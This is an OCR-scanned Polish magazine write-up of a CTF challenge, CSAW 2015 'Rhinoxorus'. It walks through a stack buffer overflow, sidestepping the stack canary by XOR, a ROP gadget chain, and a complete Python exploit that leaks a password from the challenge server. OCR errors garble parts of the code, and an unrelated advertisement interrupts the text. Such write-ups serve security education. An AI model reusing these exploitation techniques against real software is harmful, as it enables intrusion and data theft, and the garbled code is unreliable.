STREFA CTF

CSAW CTF Qualification Round 2015

- Rhinoxorus

CSAW CTF to najpopularniejsze na Swiecie zawody Capture The Flag skierowane
gtownie dla poczatkujgcych. Organizowane sg przez studentéw Instytutu Politech-
nicznego Uniwersytetu Nowojorskiego i sg czeScig corocznych dni otwartych po-
Swieconych bezpieczeristwu informatycznemu (Cyber Security Awareness Week).
Nagrodag w kwalifikacjach (wspétfinansowang réwniez przez rzad Stanéw Zjedno-
czonych) dla 15 najlepszych zespotéw studenckich (niestety tylko tych z USA badz
Kanady) jest udziat, przelot i zakwaterowanie podczas finatéw w Nowym Jorku.
Podczas tegorocznych kwalifikacji az 8 druzyn zdobyto maksymalng ilos¢ punk-
téw, w tym najlepszy polski zespdt - Dragon Sector.
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Waga CTFtime.org

Liczba druzyn 1367

(z niezerowa liczbg punktow)

System punktacji zadan

Liczba zadan 35

Podium

40 (https://ctftime.org/event/227)

0Od 10 punktéw (bardzo proste) do 600 punktéw (trudne).

1. PPP87 (Stany Zjednoczone) — 6860 pkt.

2. Shellphish Sashimi (Stany Zjednoczone) — 6860 pkt.
3. 1064CBread (Stany Zjednoczone) — 6860 pkt.

Zadanie

RHINOXORUS

Opisywane przez nas zadanie byto najwyzej ocenionym w kategorii Explo-
itables (pwn). Standardowo dostarczone przez autora zadania byty: plik wy-
konywalny serwera oraz adres, pod ktérym mozemy sie z nim komunikowac¢
w infrastrukturze przygotowanej przez administratoréow zawodoéw. Jako
bardzo nietypowy dodatek zataczony byt réwniez plik z kodem zrédtowym
zadania w jezyku C. | to wiasnie od niego zaczelismy nasza analize.

64 / 9-2015-(40) /

Rhinoxorus (Exploitables 500)

ANALIZA KODU ZRODLOWEGO

Rozpoczecie od analizy funkcji main pozwala nam stwierdzi¢, ze program po
uruchomieniu wczytuje zawartos¢ pliku password. txt do zmiennej global-
nej i zaczyna nastuchiwac na porcie 24242, forkujac sie z kazdym nowym po-
taczeniem przychodzacym. Oryginalny proces zamyka deskryptor potaczenia
oraz czeka na kolejne, a proces potomny obstugujacy potaczenie w funkgji
process_connection czeka na przestanie BUF_SIZE (stata o wartosci 256)
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bajtéw od uzytkownika i wywotuje pewna funkcje z tablicy globalnej spod
indeksu wskazanego przez warto$¢ pierwszego przestanego bajtu:

bytes_read = recv(sockfd, recv_buf, (unsigned int)BUF_SIZE, 0);
if (bytes_read > 0)
func_array[recv_buf[0]](recv_buf, (unsigned int)bytes_read);

W kodzie programu najbardziej rzucaja sie w oczy bardzo podobne do sie-
bie funkcje, do ktérych wskazniki umieszczone sg w tablicy 256-elemento-
wej, o ktdrej mowa powyzej. Te roznig sie od siebie tylko identyfikatorem
w nazwie i wartoscig bedaca wielkoscig bufora oraz wartoscia poczatkowa
wszystkich jego bajtéw. Ponizej jedna z tych funkgji, ktérej indeks w tablicy to
0, identyfikator w nazwie to ©x32, a wartos¢ poczatkowa to 0x84.

unsigned char func_32(unsigned char *buf, unsigned int count)
{

unsigned int i;

unsigned char localbuf[ox84]; // stata 0x84 jest rdzna dla
// kazdej funkcji w tablicy
// stata ox84 jest rézna dla kazdej
//funkcji w tablicy

unsigned char byte=0x84;

memset(localbuf, byte, sizeof(localbuf));
printf("in function func_32, count is %u, bufsize is 0x84\n",
count);

if (@ == --count)
return 0;

for (i = 0; i < count; ++1i)

localbuf[i] *= buf[i];

func_array[localbuf[0]](localbuf+l, count);
return 0;

}

Mozemy réwniez zauwazy¢, ze nastapi w niej przepetnienie bufora, jeze-
li w argumencie count przekazana zostanie wieksza warto$¢ od wielkosci
lokalnej tablicy localbuf. Nastepnie wywotywana jest kolejna funkcja
z tablicy. Teraz wiemy, ze przepetnienie moze nastapic juz przy pierwszym
wywotaniu tej funkgji (ktérg sami wybieramy pierwszym bajtem, a poczatko-
wy przekazany count bedzie wynosit 256).

Interesujaca wydaje sie rowniez funkcja socksend, ktéra przyjmuje: de-
skryptor sieciowy, adres do bufora oraz jego wielkos¢, a nastepnie wysyta za-
wartos¢ tego bufora pod podany deskryptor. Co ciekawe, nie jest ona nigdzie
wywotywana. Moze to nam sugerowad, ze to wiasnie wywotanie jej z argu-
mentami pozwalajagcymi poznaé nam hasto wczytane na poczatku moze by¢
jedna z drég do wykonania zadania. Tym bardziej ze w przeciwienstwie do
wielu innych zadan typu,pwn”aplikacja sama petni role serwera hostujacego
zadanie i nie przekierowuje domysinych deskryptoréw do przychodzacego
potaczenia. Znacznie utrudnitoby to zdobycie shella (powtoki systemowej)
na zdalnym systemie, bo nie wystarczytoby stworzy¢ odpowiedniego pro-
cesu. PostanowiliSmy podazy¢ za prostszym, jak nam sie wydaje, rozwigza-
niem: wywotaniem socksend. Potrzebne do tego beda nam: adres tablicy
z hastem, deskryptor potaczenia, adres samej funkcji oraz metoda na jej
wywotanie.

ANALIZA PLIKU WYKONYWALNEGO

Zanim zaczniemy statyczng analize listingu z disasemblera, sprawdzmy za
pomoca narzedzia hardening-check (z pakietu hardening-includes na
systemach rodziny Debiana), jakie putapki przygotowat na nas kompilator:

# hardening-check rhinoxorus_cd2be6030fb52cbc13a48b13603b9979
rhinoxorus_cd2be6030fb52cbc13a48b13603b9979:
Position Independent Executable: no, normal executable!
Stack protected: yes
Fortify Source functions: no, only unprotected functions found!
Read-only relocations: yes
Immediate binding: no, not found!

Zta wiadomos¢ to wigczona ochrona stosu (czyli tak zwane kanarki, me-
chanizm, ktéry ma za zadanie wykry¢ nadpisanie adresu powrotu i gwattow-
nie zakonczyc¢ wykonanie programu w tej sytuacji), ktéra moze nam utrudni¢
(ale niekoniecznie uniemozliwi¢) przepetnienie bufora. Dobra informacja to
brak zgodnosci pliku wykonywalnego z randomizacja adreséw (tzw. ASLR,
address space layout randomization), co oznacza, ze symbole globalne beda
miaty za kazdym razem taki sam adres. Rozwigzuje nam to problem uzyska-
nia adresu bufora z hastem (ktéry jest zmienng globalna, wiec nie znajdzie sie
na stosie) oraz adreséw funkgji.

# readelf -1W rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 | grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 ©X00000 0X00000 RW 0x10

Za pomoca narzedzia readelf sprawdzamy réwniez, czy podczas urucho-
mienia programu bedziemy mogli umiesci¢ kod wykonywalny bezposrednio
na stosie (tzw. shellcode), ale brak prawa do wykonania méwi nam, ze bedzie
to niemozliwe.

RAMKA STOSU ORAZ ,KANAREK"”

Aby dowiedziec sig, co doktadnie bedziemy nadpisywac przy wykorzystaniu
przepehnienia bufora, musimy spojrze¢ na ramke stosu atakowanej funkgji
(wielkos¢ bufora jest inna w kazdej funkgji, ale poza tym ramka stosu jest
identyczna)

localbuf_ptr

byie

localbuf

canary

puste miejsce

puste miejsce

pusie miejsce

adres powrotu

buf

counter

Rysunek 1. Ramka stosu atakowanej funkcji

Stos mozemy nadpisac przez przepetnienie bufora localbuf, poprzez ca-
nary, adres powrotu z funkgji, argumenty buf i counter, docierajac do ram-
ki stosu kolejnej funkgji (patrz Rysunek 1). Nasza pierwsza przeszkoda bedzie
canary (kanarek) badz cookie (ciastko), ktory jest czescig mechanizmu ,buffer
overflow protection”. Przez wiekszg cze$¢ XX wieku gdrnicy zabierali do szy-
béw kanarki, ktére w przypadku wycieku toksycznych gazoéw (najczesciej tlen-
ku wegla) wykazywaty objawy otrucia szybciej niz ludzie i dawato to sygnat
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gornikom do ucieczki. W naszym przypadku kompilator umieszcza na stosie
warto$¢, ktora sprawdzana jest przed opuszczeniem funkgji. Jezeli zostata
nadpisana i jej wartos¢ zmienita sie — zabezpieczenie nie pozwala na dalsze
kontynuowanie wykonania programu. Realizowane jest to w ponizszy sposéb:

mov ecx, [ebp+canary] ; przeniesienie kanarka do rejestru
;ecx
; porownanie kanarka z wartoscig w

s;pamieci pod gs:14h

xor ecx, large gs:14h

jz short kanarek_ok ; jesli réwny, skaczemy pod label
;kanarek_ok
call __ stack_chk_fail ; kanarek naruszony - bitad, koniec
programu
kanarek_ok:
leave ; zakonczenie funkcji
retn ; wyjscie z funkcji

Nie mamy mozliwosci odczytaé poczatkowej wartosci kanarka w zaden spo-
séb. Jak w takim razie go nadpisa¢, by nie zmienic jego wartosci? Musimy
wréci¢ do miejsca, w ktérym dokonuje sie przepetnienie stosu.

for (i = @; 1 < count; ++1)
localbuf[i] "= buf[i];

Jak widzimy, nasz bufor nie jest tak naprawde bezposrednio wpisany w stos,
a poddawany operacji xor z juz jego istniejaca zawartoscia. Jest to zaréwno
utrudnienie (bo nie mozemy ustawi¢ dowolnej wartosci, jezeli nie znamy tej
oryginalnej), jak i w tej sytuacji wybawienie, bo mozemy wykorzystac oczy-
wistg wiasnos¢ operacji xor:

pde=p
Jezeli spowodujemy wiec, ze wartos¢ canary bedzie xorowana z zerami, to
zawsze pozostanie nietknieta — mechanizm obronny nie wykryje proby ataku

i wykonanie pdjdzie dalej. Teraz mozemy juz nadpisac adres powrotu, ale nie
wiemy jeszcze, gdzie powinnismy ,skoczyc”.

PRZYGOTOWANIE DO SKOKU

Nasz ostateczny cel to zdobycie zawartosci bufora password. W tym celu
najprostszym rozwigzaniem wydaje sie by¢ wywotanie funkcji socksend
W nastepujacy sposéb:

socksend(fd, password, BUF_SIZE);

Przy konwencji wywotania obowiazujacej w x86 oznacza to, ze przy wykona-
niu opcode’u ret szczyt stosu musi wygladac tak jak na Rysunku 3:

adres funkcji socksend

adres powrotu

sockfd

buf

length

Rysunek 3. Docelowy wyglgd skoku dla funkcji socksend

Wtedy zostanie zdjety adres funkgji socksend, wykonany skok do niego (tak
wiasnie dziata opcode ret), nastepna wartos¢ na stosie zostanie potrakto-
wana jako adres powrotu, a reszta jako argumenty.

Niestety, mamy za mato miejsca, zeby umiescic te wartosci od razu - za-
gladajac w ramke stosu, widzimy, ze tuz za adresem powrotu na stosie znaj-
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duja sie buf oraz count. Sg to parametry, ktére jeszcze przed powrotem
z naszej funkcji zostang przekazane w wywotaniu kolejnej funkgji z tablicy.
Aby szybko z niej wrdcic i zatrzymac faricuch wywotan, powinnismy ustawic

countnal:
if (@ == --count)
return 0;

Mozemy to zrobi¢, poniewaz znamy pierwotna wartos¢ - jest to oczywiscie
wielkos¢ wystanego przez nas bufora.

Zaraz po tym trafimy na ramke stosu funkcji obstugujacej nasze potacze-
nie (Rysunek 4):

bytes read

recv_buf

canary

adres powrotu

fd

Rysunek 4.Ramka stosu wywotujqcej funkcji

Tablica recv_buf to zawartos$¢ naszego oryginalnego bufora. Jest to wiec
idealne miejsce, zeby to wiasnie tam przygotowaé wywotanie socksend.
Musimy jednak najpierw tam trafi¢. Po dokfadnej analizie funkcji process_
connection wiemy, ze od momentu opuszczenia naszej funkcji z tablicy
dzieli nas od bufora na stosie jeszcze 8 dworddw (czyli 32 bajty).
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RETURN ORIENTED PROGRAMMING

Pokonanie tej odlegtosci to nic innego jak zdjecie odpowiedniej ilosci ele-
mentéw ze stosu. Nie mozemy uzy¢ w tym celu wiasnego kodu - jak spraw-
dzilismy wczesniej - stos, a wiec i nasz bufor, nie jest wykonywalny. Musimy
zatem znalez¢ fragmenty istniejacego kodu w aplikacji, ktére zrobig to za nas.
Wtedy podmiana oryginalnego adresu powrotu z funkgcji na pierwszy z tych
fragmentoéw, z ktdérych kazdy konczy sie instrukcjg powrotu (by moc od razu
wywotac kolejny fragment), pozwoli na zupetne przekierowanie przeptywu
wykonania na nasz,fancuch gadzetéw” (tzw. ROP chain).

Interesujace gadzety w naszym programie wyszukalismy za pomoca apli-
kacji rp++ (https://github.com/OverclOk/rp):

# rp -r 4 -f rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 --unique
(...)

A total of 4328 gadgets found.

You decided to keep only the unique ones, 987 unique gadgets
found.

0x08056dd5: aaa ; sbb bh, bh ; dec ecx ; ret ; (1 found)
0x0804bobb: aad OxFF ; dec ecx ; ret ; (1 found)

0x0804ad86: aam ©x83 ; retn ©x5201 ; (4 found)

0x0804b181: aam OxFF ; dec ecx ; ret ; (1 found)

0x08052afb: adc [ebx-0x01], ebx ; dec ecx ; ret ; (1 found)
(...)

Z tej listy musimy znalez¢ gadzet badz ich kombinacje, ktéra przesunie nas
jak najblizej naszego bufora. Szczesliwie trafiamy na taki, ktory sam jeden wy-
kona cata te robote: zrzuci ze stosu 7 dwordéw oraz skoczy pod ésmy, ktory
jest juz pierwszym elementem naszego bufora:

gadget_pop:

add esp, OCh ; pominiecie 3 elementow na stosie

pop ebx ; zdjecie elementu ze stosu (i zapisanie do ebx)
pop esi ; zdjecie elementu ze stosu (i zapisanie do esi)
pop edi ; zdjecie elementu ze stosu (i zapisanie do edi)
pop ebp ; zdjecie elementu ze stosu (i zapisanie do ebp)
retn ; zdjecie elementu ze stosu i skoczenie od niego

ZBrush. Pedzle 3d
- kompendium

12 godzin i 18 minut
62 lekcje
1440 x 900 px

www.keylight.com.pl
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SKOK

Idealnie bytoby teraz jako pierwszy element naszego bufora umiesci¢ adres
funkcji socksend: ©x0804884B. Zapisany w pamieci jako liczba little-endian
wygladac bedzie nastepujaco:

0x4B | 0x88 |0x04 |0x08 |reszta bufora..

Gdy spojrzymy jeszcze raz na kod funkgji z tablicy, przypomnimy sobie, ze
pierwszy bajt bufora byt jednoczesnie indeksem w tablicy do funkgji, ktéra
zostanie wywotana rekurencyjnie:

func_array[localbuf[0]](localbuf+l, count);

Zmusza nas to do wykorzystania konkretnej funkgji, ale nie stanowi to duze-
go problemu - bedziemy musieli tylko wzig¢ pod uwage wielkosc¢ lokalnego
bufora podczas planowania, jak ostatecznie bedzie wygladaé nasz payload
(wysytany przez nas tadunek).

Ostatnia niewiadoma to deskryptor naszego potaczenia. W Linuksach
system stara sie nadawac tworzonym deskryptorom jak najmniejsze warto-
sci. Trzy z nich: stdin, stdout oraz stderr, majg domyslnie wartosci 0, 1 oraz
2. Nasz program tworzy gniazdo sieciowe, na ktérym czeka na potfaczenia
przychodzace z deskryptorem o wartosci 3. Za pomocg accept przyjmuje
potaczenie i zwrécony deskryptor otrzyma kolejna, najmniejsza dostepna
wartos¢: 4. Nastepnie forkuje sie. Oznacza to, ze wszystkie deskryptory zo-
stajg skopiowane i przekazane do programu potomnego. Wazne jest to, ze
oryginalny proces zamyka od razu swoja kopie deskryptora potaczenia przy-
chodzacego. Dzieki temu deskryptor nastepnego potaczenia znéw bedzie
mogt otrzymac wartosc 4.

Jako ostatnie juz wartosci umieszczamy kolejno: adres powrotu z funkgji
socksend (wybralismy funkcje exit z tabeli importéw, aby program bez
problemdw zakonczyt swoje dziatanie): 0x08048670, wartos¢ deskryptora: 4,
adres zmiennej globalnej z hastem: 0x0805F0CO, oraz jej wielkos¢: 255.

Jezeli wszystko poszto po naszej mysli, powinnismy otrzymac teraz za-
wartos¢ pliku ,password.txt” — wystarczy napisac skrypt wysytajacy odpo-
wiedni payload.

SKRYPT

# -*- coding: utf-8 -*-
import struct, socket

HOST = '54.152.37.20'
PORT = 24242

s = socket.socket()
s.connect((HOST, PORT))

# oryginalny adres powrotu na stosie

first_return_addr = 0©x08056AFA

# placeholder na zmienne, ktérych zawartos¢ jest niewazna
placeholder = 'xxxx'

gadget_pop_xor = struct.pack('<I', 0x080578f5 *
first_return_addr)

password_addr = struct.pack('<I', 0x0805F0CQ)
socksend_addr = struct.pack('<I', 0x0804884B)
exit_addr = struct.pack('<I', 0x08048670)

def get_payload(counter):
# xorujemy z 1, bo chcemy, zeby counter przyjat 1
counter_xor = struct.pack('<I', counter ~ 1)
# sktadamy payload
return (
# adres funkcji socksend (znany)
socksend_addr
# adres powrotu z funkcji socksend do exit
+ exit_addr
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deskryptor dla socksend (przewidywana wartosc¢)
struct.pack('<I', 4)

adres zmiennej globalnej password dla socksend
password_addr

ilos¢ bajtoéw do przeczytania dla socksend
struct.pack('<I', 256)

wolne miejsce na stosie (niezajeta czes$¢ bufora)
placeholder * 39

xorowane z kanarkiem

"\0\0\o\o'

puste miejsce na stosie

placeholder * 3

podmieniamy adres powrotu na gadget_pop
gadget_pop_xor

xorowane z niepotrzebnym juz argumentem z adresem bufora
placeholder

zerowanie countera

counter_xor

— 4+ HF E 4+ HE 4+ 4+ E 4+ E 4+ E 4+ O+ R

# zmierzenie dtugosci payloadu
payload_length = len(get_payload(123))

# 1 stworzenie ostatecznego payloadu
payload = get_payload(payload_length - 1)
s.send(payload)

print s.recv(99999)

| udaje sie - skrypt, ktéry napisalismy, zadziatat. Zdobylismy w ten sposéb
upragniona flage:

cc21fe41b44ba70d0e6978c840698601

PODSUMOWANIE

Zadanie, ktére tu opisalismy, byto jednym sposrdd najwyzej punktowanych
w tym turnieju. Kluczem do rozwigzania zadania byto dokfadne zrozumienie
struktury ramek stosu oraz mechanizmoéw kontroli przeptywu wykonania. Od
tego momentu zadanie wykonywali$my niemal mechanicznie, co nie znaczy,
ze szybko i bezposrednio doszliSmy do ostatecznej postaci skryptu.

Pod koniec zawoddéw dramatycznie walczylismy z wtasnymi gtupimi bte-
dami oraz czasem. Zadanie zaczelismy rozwigzywac na 3 godziny przed kon-
cem, by ostatecznie flage uzyska¢ raptem na 20 minut przed zakoriczeniem
konkursu. Ale na szczescie udato sie, dzieki czemu moglismy podzieli¢ sie
z wami naszym rozwigzaniem!

Jarostaw "msm" Jedynak, Mateusz "Rev" Szymaniec

O druzynie

Rozwiazanie zadania Rhinoxorus zostato nadestane przez p4, zespot CTF-
-owy uzytkownikéw serwisu 4programmers.net majacy ambicje na dru-
gie miejsce w Polsce (bo pierwsze juz zajete ;).

https://ctftime.org/team/5152
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